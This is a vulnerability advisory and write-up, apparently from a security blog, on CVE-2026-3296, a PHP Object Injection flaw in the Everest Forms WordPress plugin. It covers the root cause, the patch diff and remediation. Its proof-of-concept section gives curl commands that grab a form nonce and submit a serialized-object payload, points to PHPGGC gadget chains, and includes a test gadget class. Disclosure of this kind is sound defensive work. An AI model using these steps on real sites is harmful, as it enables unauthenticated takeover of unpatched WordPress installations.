CVE-2026-3296: PHP Object Injection in Everest Forms (CVSS 9.8)

CVE-2026-3296: PHP Object Injection in Everest Forms (CVSS 9.8)

CVE-2026-3296 is a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the Everest Forms WordPress plugin, affecting all versions up to and including 3.4.3. It allows any unauthenticated attacker to inject a PHP serialized object payload through any public form field. When an administrator views form entries in the admin panel, the unsafe unserialize() call fires — triggering any available POP gadget chain in the environment, with potential for Remote Code Execution.

Vulnerability Summary

FieldValue
Plugin NameEverest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder
Plugin Slugeverest-forms
CVE IDCVE-2026-3296
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated PHP Object Injection via Form Entry Metadata (Deserialization of Untrusted Data)
Affected Versions<= 3.4.3
Patched Version3.4.4
PublishedApril 7, 2026
Researcher0xsabre - Mobikwik
Wordfence AdvisoryLink

Description

The Everest Forms plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.4.3 via deserialization of untrusted input from form entry metadata. This is due to the html-admin-page-entries-view.php file calling PHP’s native unserialize() on stored entry meta values without passing the allowed_classes parameter. This makes it possible for unauthenticated attackers to inject a serialized PHP object payload through any public Everest Forms form field. The payload survives sanitize_text_field() sanitization (serialization control characters are not stripped) and is stored in the wp_evf_entrymeta database table. When an administrator views entries or views an individual entry, the unsafe unserialize() call processes the stored data without class restrictions.


Technical Analysis

The vulnerability is a classic stored PHP Object Injection that follows a two-phase pattern: an injection phase (unauthenticated form submission) and a trigger phase (admin views form entries).


Phase 1 — Injection: Storing the Payload (Unauthenticated)

File: includes/class-evf-form-task.php

The form submission listener is hooked to the wp action (line 75), making it fire on every front-end page load where $_POST['everest_forms'] is populated:

// class-evf-form-task.php, line 75
add_action( 'wp', array( $this, 'listen_task' ) );

The submission handler (line 97) reads user POST data and passes it through evf_sanitize_entry() before processing:

// class-evf-form-task.php, line 109
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

Key point — evf_sanitize_entry() does not strip serialization characters:

evf_sanitize_entry() in includes/evf-core-functions.php (line 4707) applies sanitize_text_field() to the default field type case:

// evf-core-functions.php, line 4754–4761
default:
    if (is_array($entry['form_fields'][$key])) {
        foreach ($entry['form_fields'][$key] as $field_key => $value) {
            $entry['form_fields'][$key][$field_key] = sanitize_text_field($value);
        }
    } else {
        $entry['form_fields'][$key] = sanitize_text_field($entry['form_fields'][$key]);
    }

sanitize_text_field() strips HTML tags, null bytes, and some whitespace — but it does not strip PHP serialization characters (O:, s:, i:, {, }, ;, "). A serialized object string like O:8:"EvilClass":1:{s:5:"field";s:5:"value";} passes through completely intact.

Additional bug: The return $entry statement at line 4764 is placed inside the foreach loop body, causing the function to exit after processing only the first form field — meaning most fields receive no sanitization at all.

After sanitization, the abstract field class format() method (called via the everest_forms_process_format_{type} action) applies evf_sanitize_textarea_field():

// includes/abstracts/class-evf-form-fields.php, line 2925
$value = evf_sanitize_textarea_field( $field_submit );

evf_sanitize_textarea_field() wraps sanitize_textarea_field(), which similarly does not remove PHP serialization characters.

The field value (containing the injected serialized object) is then stored in the database:

// class-evf-form-task.php, line 1326–1333
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

maybe_serialize() on a plain string returns it unchanged — the raw serialized object string is written verbatim into wp_evf_entrymeta.meta_value.


Phase 2 — Trigger: Deserializing on Admin Entry View

File: includes/admin/views/html-admin-page-entries-view.php, line 132–133

When an administrator navigates to wp-admin/admin.php?page=evf-entries&form_id=X&view-entry=Y, the template iterates over entry metadata and detects serialized values:

// html-admin-page-entries-view.php, line 130–133
$meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize

This is the vulnerable call. unserialize() is called without the allowed_classes parameter. PHP defaults to allowing all classes to be instantiated during deserialization. If the WordPress environment contains a class with a magic method (__wakeup, __destruct, __toString, __get, etc.) that performs a dangerous operation, it will be invoked automatically when the administrator views the entry.

A safe wrapper, evf_maybe_unserialize(), already existed in the codebase at includes/evf-core-functions.php (line 5594):

function evf_maybe_unserialize($data, $options = array())
{
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // safe: no class instantiation
        }
        return null;
    }
    return $data;
}

This safe function was simply not used in the entries view template.


Root Cause

The root cause is the use of PHP’s native unserialize() without ['allowed_classes' => false] at html-admin-page-entries-view.php:133. The plugin developers had already written a safe wrapper (evf_maybe_unserialize()) that passes allowed_classes => false — but used raw unserialize() in the entries view template, bypassing that protection entirely.


Why Existing Controls Failed

ControlWhy It Failed
sanitize_text_field()Strips HTML tags and null bytes; does NOT strip PHP serialization characters (O:, {, }, ;). A serialized object string passes through unchanged.
evf_sanitize_textarea_field()Same behavior — wraps sanitize_textarea_field(), no effect on serialization syntax.
WordPress nonce (_wpnonce{form_id})The nonce is embedded in the public form HTML page, readable by any unauthenticated visitor. It provides CSRF protection but not authentication protection. An attacker simply GETs the form page first to obtain the nonce, then POSTs with the payload.
evf_maybe_unserialize() (existing safe wrapper)Was available in the codebase but was not called at the vulnerable deserialization site.

Attack Impact

An unauthenticated attacker can store an arbitrary PHP serialized object in the wp_evf_entrymeta database table. When an administrator views the entry in the WordPress admin, a PHP Object Injection chain is triggered. The achievable impact depends on what “POP gadget chains” (Property-Oriented Programming) are available in the WordPress environment:

CVSS 9.8 (Critical) reflects the worst-case scenario: no authentication required, no user interaction from the attacker, and potential for full confidentiality, integrity, and availability compromise.


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Obtain the form page URL, form ID, and nonce

Browse to any page on the target site that contains a public Everest Forms form. The form ID is visible in the hidden input everest_forms[id]. The nonce is in _wpnonce{form_id}.

# Fetch the form page (replace with the actual page URL)
TARGET_URL="https://target-site.example.com/contact/"

curl -s "$TARGET_URL" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+' | head -1
# Or look for: <input type="hidden" name="_wpnonce<FORM_ID>" value="<NONCE>">

# Also extract the form ID:
curl -s "$TARGET_URL" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

Record:

Step 2: Craft the serialized PHP object payload

For demonstration, use a benign payload that injects a stdClass object (no side effects — safe for testing):

# Benign test payload (stdClass with a property)
PAYLOAD='O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}'

For a real-world attack, replace this with a known POP gadget chain payload appropriate for the target environment (e.g., a chain from PHPGGC targeting a plugin known to be installed).

Step 3: Submit the form with the serialized payload as a field value

FORM_ID="123"
NONCE="abcdef1234"   # Replace with actual nonce from Step 1
TARGET_URL="https://target-site.example.com/contact/"
PAYLOAD='O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}'

curl -s -X POST "$TARGET_URL" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][abc123]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

A successful submission returns the form’s success message or a redirect. The payload is now stored in wp_evf_entrymeta.

Step 4: Verify the payload is stored in the database

Using WP-CLI on the server (for verification):

wp db query "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 5;" --allow-root

You should see a row containing the raw serialized string O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}.

Step 5: Trigger deserialization by viewing the entry as admin

Log in to the WordPress admin panel and navigate to:

https://target-site.example.com/wp-admin/admin.php?page=evf-entries&form_id=<FORM_ID>&view-entry=<ENTRY_ID>

When the page loads, html-admin-page-entries-view.php iterates the entry metadata, detects the serialized value via is_serialized(), and calls unserialize() on it — instantiating any PHP objects in the payload.

Expected Result

With the benign test payload: no visible error; a stdClass object is created and discarded harmlessly. The vulnerability is confirmed by the fact that unserialize() processes the attacker-controlled value without restriction.

With a real POP gadget chain payload targeting a vulnerable class in the environment: the magic method (__wakeup, __destruct, etc.) of the gadget class executes, achieving RCE or another critical impact.

Verification

To confirm the injection is working without a gadget chain, check the PHP error log or use a custom PHP class loaded by a test plugin:

// Test plugin (test-gadget.php) - install on a test environment only
class TestGadget {
    public function __wakeup() {
        file_put_contents('/tmp/pwned.txt', 'PHP Object Injection confirmed at ' . date('c'));
    }
}

After the admin views the entry, check:

cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

Patch Analysis

What Changed

The fix is a single-line change in includes/admin/views/html-admin-page-entries-view.php:

FileChange
includes/admin/views/html-admin-page-entries-view.phpReplaced unserialize($meta_value) with evf_maybe_unserialize($meta_value)
includes/admin/views/html-admin-page-entries-view.phpChanged wp_strip_all_tags() to esc_html() for plain text values (defense-in-depth XSS fix)
includes/admin/views/html-admin-page-entries-view.phpChanged echo nl2br(make_clickable($field_value)) to echo nl2br(esc_html($field_value)) (XSS hardening)

Fix Explanation

The critical fix replaces the unsafe unserialize() call with the safe wrapper evf_maybe_unserialize() that was already present in the codebase:

Before (vulnerable):

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value ); // no class restrictions

After (patched):

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = evf_maybe_unserialize( $meta_value ); // allowed_classes => false

evf_maybe_unserialize() passes ['allowed_classes' => false] to PHP’s unserialize(), which means PHP will only reconstruct scalar types and arrays — any object in the serialized data is converted to a __PHP_Incomplete_Class instance, preventing magic method execution entirely.

This is a complete fix for the root cause. No residual risk exists from this specific deserialization call.

The additional output-escaping changes (esc_html() replacing make_clickable()) provide further hardening against stored XSS, though they are not directly related to the PHP Object Injection vulnerability.

Code Diff (Key Changes)

--- a/includes/admin/views/html-admin-page-entries-view.php
+++ b/includes/admin/views/html-admin-page-entries-view.php
@@ -127,10 +124,11 @@
-    $meta_value = is_serialized( $meta_value ) ? $meta_value : wp_strip_all_tags( $meta_value );
+    // Escape plain text values; leave serialized data untouched for further processing.
+    $meta_value = is_serialized( $meta_value ) ? $meta_value : esc_html( $meta_value );

     if ( is_serialized( $meta_value ) ) {
-        $raw_meta_val = unserialize( $meta_value ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_unserialize
+        $raw_meta_val = evf_maybe_unserialize( $meta_value );
@@ -200,7 +198,8 @@
-            echo nl2br( make_clickable( $field_label_val ) ); // @codingStandardsIgnoreLine
+            // Output serialized non-array label value safely.
+            echo nl2br( esc_html( $field_label_val ) );
@@ -210,7 +209,8 @@
-            echo nl2br( make_clickable( $field_value ) ); // @codingStandardsIgnoreLine
+            // Output plain field value safely.
+            echo nl2br( esc_html( $field_value ) );

Timeline

DateEvent
April 7, 2026Vulnerability publicly disclosed by Wordfence
April 7, 2026Patched version 3.4.4 released
April 8, 2026Wordfence advisory last updated

References

  1. Wordfence Advisory
  2. Vulnerable file — trac (3.4.3 tag)
  3. Patched file — trac (trunk)
  4. evf_maybe_unserialize() — trac (3.4.3)
  5. Changeset readme diff (3.4.3 → 3.4.4)
  6. Full changeset (3.4.3 → 3.4.4)
  7. CVE Record

Remediation

Update the everest-forms plugin to version 3.4.4 or later immediately.

If an immediate update is not possible:

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee